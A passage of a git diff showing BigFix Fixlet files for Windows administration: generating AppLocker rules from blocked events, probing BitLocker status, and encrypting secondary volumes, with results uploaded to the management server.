-move __createfile &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
-
-]]&gt;&lt;/ActionScript&gt;
-		&lt;/DefaultAction&gt;
-	&lt;/Fixlet&gt;
-&lt;/BES&gt;
-&quot;@
-    return $Fixlet
-}
-__end__
-
-delete Applocker.psm1
-move __createfile Applocker.psm1
-
-createfile until __end__
-param (
-    $OutDir = &quot;.\Output&quot;
-)
-
-import-module applocker
-import-module &quot;.\Applocker.psm1&quot; -force
-
-$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
-
-foreach ($CollectionType in $Policy.RuleCollectionTypes){{
-    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
-        $Action = $Rule.Action
-        $Name = $Rule.Name
-        $Type = $CollectionType
-        $ID = $Rule.ID
-
-        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
-
-        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
-    }
-}
-
-$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/Msi and Script&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
-
-foreach ($CollectionType in $Policy.RuleCollectionTypes){{
-    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
-        $Action = $Rule.Action
-        $Name = $Rule.Name
-        $Type = $CollectionType
-        $ID = $Rule.ID
-
-        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
-
-        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
-    }
-}
-__end__
-
-delete GenerateRules.ps1
-move __createfile GenerateRules.ps1
-
-folder create &quot;{parameter &quot;Storage&quot;}&quot;
-
-//
-// Configure Upload Manager
-//
-
-setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;2097152&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-setting &quot;_BESClient_ArchiveManager_FileSet-APPLOCKER&quot;=&quot;{parameter &quot;Storage&quot;}\*.*&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File GenerateRules.ps1 -OutDir &quot;{parameter &quot;Storage&quot;}&quot;
-
-archive now
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Applocker Rule Creation From Blocks and Warnings - Windows
+  ID       : 21336
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T15:01:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Applocker Rule Creation From Blocks and Warnings - Windows</Title>
+    <Description><![CDATA[<P>Creates BigFix Fixlets for denied or audited Applocker events on the target system.</P>
+<P>Fixlets are placed in the BES Client Directory under __BESData\__Global\ApplockerGeneratedRules</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+parameter &quot;Storage&quot;=&quot;{pathname of data folder of client}\__Global\ApplockerGeneratedRules&quot;
+
+createfile until __end__
+Function Remove-InvalidFileNameChars {{
+&lt;#
+.SYNOPSIS
+Removes characters considered invalid by the Windows Operating System for file names.
+
+.DESCRIPTION
+Takes a string over the pipline or as a parameter and removes invalid characters from the file name.
+This sanitization allows you safely take the name you have passed and use it to save a file to disk.
+
+.PARAMETER Name
+A string you wish to escape
+#&gt;
+  param(
+    [Parameter(Mandatory=$true,
+      Position=0,
+      ValueFromPipeline=$true,
+      ValueFromPipelineByPropertyName=$true)]
+    [String]$Name
+  )
+
+  $invalidChars = [IO.Path]::GetInvalidFileNameChars() -join &apos;&apos;
+  $re = &quot;[{{0}%]&quot; -f [RegEx]::Escape($invalidChars)
+  return ($Name -replace $re)
+}
+
+Function Merge-AppLockerPolicy {{
+    Param (
+        $Policies
+    )
+    $ExeMethod = &quot;&quot;
+    $MsiMethod = &quot;&quot;
+    $ScriptMethod = &quot;&quot;
+    $AppxMethod = &quot;&quot;
+
+    $ExeRules = &quot;&quot;
+    $MsiRules = &quot;&quot;
+    $ScriptRules = &quot;&quot;
+    $AppXRules = &quot;&quot;
+
+    foreach ($Policy in $Policies) {{
+        $xml = select-xml -Path $Ruleset.fullname -XPath &quot;/AppLockerPolicy/RuleCollection&quot;
+
+        foreach ($Collection in $XML) {{
+
+            if ($Collection.Node.Type -eq &quot;Exe&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ExeMethod -ne &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;Script&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ScriptMethod -ne &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;Msi&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $MsiMethod -ne &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;AppX&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $AppXMethod -ne &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+        }
+    }
+
+    $Policy = @&quot;
+&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
+    &lt;RuleCollection Type=&quot;Exe&quot; $ExeMethod&gt;
+        $ExeRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Msi&quot; $MsiMethod&gt;
+        $MsiRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Script&quot; $ScriptMethod&gt;
+        $ScriptRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Appx&quot; $AppxMethod&gt;
+        $AppxRules
+    &lt;/RuleCollection&gt;
+&lt;/AppLockerPolicy&gt;
+&quot;@
+    return $Policy
+}
+
+Function New-ApplockerFixlet {{
+    Param (
+        $Type,
+        $Name,
+        $XML
+    )
+
+$Fixlet = @&quot;
+&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+&lt;BES xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:noNamespaceSchemaLocation=&quot;BES.xsd&quot;&gt;
+	&lt;Fixlet&gt;
+		&lt;Title&gt;Config - Cache Applocker Rules - $Type, $Name - Windows&lt;/Title&gt;
+		&lt;Description&gt;&lt;![CDATA[&lt;P&gt;This policy adds a policy to Applocker. Specifically it provides a rule for $Type&lt;/P&gt;&lt;br&gt;The rule self describes as: $Name]]&gt;&lt;/Description&gt;
+		&lt;Relevance&gt;Windows of Operating System&lt;/Relevance&gt;
+		&lt;Relevance&gt;&lt;![CDATA[(not exists file (pathname of data folder of client &amp; &quot;\__Global\Applocker\$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;).xml&quot;))]]&gt;&lt;/Relevance&gt;
+		&lt;Category&gt;Application Whitelisting&lt;/Category&gt;
+		&lt;Source&gt;Internal&lt;/Source&gt;
+		&lt;SourceID&gt;&lt;/SourceID&gt;
+		&lt;SourceReleaseDate&gt;2016-05-10&lt;/SourceReleaseDate&gt;
+		&lt;SourceSeverity&gt;&lt;/SourceSeverity&gt;
+		&lt;CVENames&gt;&lt;/CVENames&gt;
+		&lt;SANSID&gt;&lt;/SANSID&gt;
+		&lt;MIMEField&gt;
+			&lt;Name&gt;x-fixlet-modification-time&lt;/Name&gt;
+			&lt;Value&gt;Tue, 17 May 2016 21:39:44 +0000&lt;/Value&gt;
+		&lt;/MIMEField&gt;
+		&lt;Domain&gt;BESC&lt;/Domain&gt;
+		&lt;DefaultAction ID=&quot;Action1&quot;&gt;
+			&lt;Description&gt;
+				&lt;PreLink&gt;Click &lt;/PreLink&gt;
+				&lt;Link&gt;here&lt;/Link&gt;
+				&lt;PostLink&gt; to deploy this action.&lt;/PostLink&gt;
+			&lt;/Description&gt;
+			&lt;ActionScript MIMEType=&quot;application/x-Fixlet-Windows-Shell&quot;&gt;&lt;![CDATA[action uses wow64 redirection {{not x64 of operating system}
+
+parameter &quot;RuleName&quot;=&quot;$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;)&quot;
+parameter &quot;Storage&quot;=&quot;{{pathname of data folder of client}\__Global\Applocker&quot;
+
+delete __createfile
+
+createfile until _end_
+&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
+&lt;RuleCollection Type=&quot;$Type&quot;&gt;
+$($XML)
+&lt;/RuleCollection&gt;
+&lt;/AppLockerPolicy&gt;
+_end_
+
+folder create &quot;{{parameter &quot;Storage&quot;}&quot;
+
+delete &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
+move __createfile &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
+
+]]&gt;&lt;/ActionScript&gt;
+		&lt;/DefaultAction&gt;
+	&lt;/Fixlet&gt;
+&lt;/BES&gt;
+&quot;@
+    return $Fixlet
+}
+__end__
+
+delete Applocker.psm1
+move __createfile Applocker.psm1
+
+createfile until __end__
+param (
+    $OutDir = &quot;.\Output&quot;
+)
+
+import-module applocker
+import-module &quot;.\Applocker.psm1&quot; -force
+
+$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
+
+foreach ($CollectionType in $Policy.RuleCollectionTypes){{
+    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
+        $Action = $Rule.Action
+        $Name = $Rule.Name
+        $Type = $CollectionType
+        $ID = $Rule.ID
+
+        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
+
+        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
+    }
+}
+
+$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/Msi and Script&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
+
+foreach ($CollectionType in $Policy.RuleCollectionTypes){{
+    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
+        $Action = $Rule.Action
+        $Name = $Rule.Name
+        $Type = $CollectionType
+        $ID = $Rule.ID
+
+        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
+
+        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
+    }
+}
+__end__
+
+delete GenerateRules.ps1
+move __createfile GenerateRules.ps1
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+//
+// Configure Upload Manager
+//
+
+setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;2097152&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_FileSet-APPLOCKER&quot;=&quot;{parameter &quot;Storage&quot;}\*.*&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File GenerateRules.ps1 -OutDir &quot;{parameter &quot;Storage&quot;}&quot;
+
+archive now
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes
index 4dd98dd7b..00a1c220a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes	
@@ -1,78 +1,78 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Configuration Probe - Windows
-  ID       : 20701
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-27T10:08:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Configuration Probe - Windows</Title>
-    <Description><![CDATA[<P>This probe grabs the current bitlocker configuration of the system in it's raw format and outputs it to disk to be gathered by analyses.</P>
-<P>Creates a Volume-Status.txt file in __BESData.</P>
-<P>Example</P>
-<UL>
-<LI>C-Status.txt
-<LI>D-Status.txt</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = "."
-)
-#Regex for extracting the volume letters from the BitLocker Status
-[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
-
-#Get Bitlocker Status: Windows 7+
-$BitlockerStatus = (manage-bde -status)
-
-#Extract Volume Letters from Bitlocker Status
-$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
-
-#Get Status
-foreach ($Volume in $Volumes) {{
-    $VolumeStatus = (manage-bde -status $Volume)
-
-    $VolumeStatus > "$OutFolder\$($Volume[0])-Status.txt"
-}
-_end_
-
-move __createfile powershell.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Configuration Probe - Windows
+  ID       : 20701
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-27T10:08:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Configuration Probe - Windows</Title>
+    <Description><![CDATA[<P>This probe grabs the current bitlocker configuration of the system in it's raw format and outputs it to disk to be gathered by analyses.</P>
+<P>Creates a Volume-Status.txt file in __BESData.</P>
+<P>Example</P>
+<UL>
+<LI>C-Status.txt
+<LI>D-Status.txt</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+#Regex for extracting the volume letters from the BitLocker Status
+[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
+
+#Get Bitlocker Status: Windows 7+
+$BitlockerStatus = (manage-bde -status)
+
+#Extract Volume Letters from Bitlocker Status
+$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
+
+#Get Status
+foreach ($Volume in $Volumes) {{
+    $VolumeStatus = (manage-bde -status $Volume)
+
+    $VolumeStatus > "$OutFolder\$($Volume[0])-Status.txt"
+}
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes
index b59dcf55a..645dfce4e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes	
@@ -1,255 +1,255 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Encrypt Secondary Volume - Windows
-  ID       : 21696
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-22T17:54:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Encrypt Secondary Volume - Windows</Title>
-    <Description><![CDATA[<P>This fixlet will encrypt the specified drive of a device.</P>
-<P>The recovery password generated by action 1 is available via the <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
-    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
-    <Relevance><![CDATA[uptime of operating system > 10*minute /* Bitlocker status doesn't change immediately after first reboot */]]></Relevance>
-    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* There are encryptable non system drives with drive letters attached */]]></Relevance>
-    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0 /* There are encryptable non-system drives with drive letters that are not currently encrypted */]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to encrypt the specified drive using the TPM and a random recovery password.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
-
-action uses wow64 redirection {not x64 of operating system}
-
-//
-// Configure Storage and Instance Paths
-//
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
-parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
-
-folder create "{parameter "Storage"}"
-folder create "{parameter "Storage"}\{parameter "Instance"}"
-
-//
-// Configure Upload Manager
-//
-
-setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
-setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
-setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
-
-//
-// Cleanup before writing scripts
-//
-delete __createfile
-delete enable.bat
-delete terminate.bat
-delete addrecoverykey.bat
-delete status.bat
-
-//
-// Write Scripts
-//
-
-createfile until _end_
-manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
-_end_
-
-move __createfile status.bat
-
-createfile until _end_
-manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
-_end_
-
-move __createfile enable.bat
-
-createfile until _end_
-manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
-manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
-_end_
-
-move __createfile terminate.bat
-
-createfile until _end_
-manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
-_end_
-
-move __createfile addrecoverykey.bat
-
-//
-// Get BitLocker Status
-//
-
-wait status.bat
-
-if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
-
-	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
-	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
-
-	wait enable.bat
-
-	// No existing recovery key -- add one
-	if { not exists lines containing "Numerical Password" of file "Status.log" of folder (parameter "InstanceStorage")}
-		wait addrecoverykey.bat
-	endif
-
-	// If the action dies here there is a bootable CD or DVD in the drive
-	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
-		// BitLocker is in inconsistent state -- kill encryption
-		wait terminate.bat
-		archive now
-		exit 20
-	endif
-
-	// If the action dies here there was another error
-	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
-		// BitLocker is in inconsistent state -- kill encryption
-		wait terminate.bat
-		archive now
-		exit 10
-	endif
-
-	archive now
-
-	action requires restart
-
-else
-
-	archive now
-
-	action requires restart
-
-endif]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action22628">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to encrypt the specified drive using just the TPM.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
-
-action uses wow64 redirection {not x64 of operating system}
-
-//
-// Configure Storage and Instance Paths
-//
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
-parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
-
-folder create "{parameter "Storage"}"
-folder create "{parameter "Storage"}\{parameter "Instance"}"
-
-//
-// Configure Upload Manager
-//
-
-setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
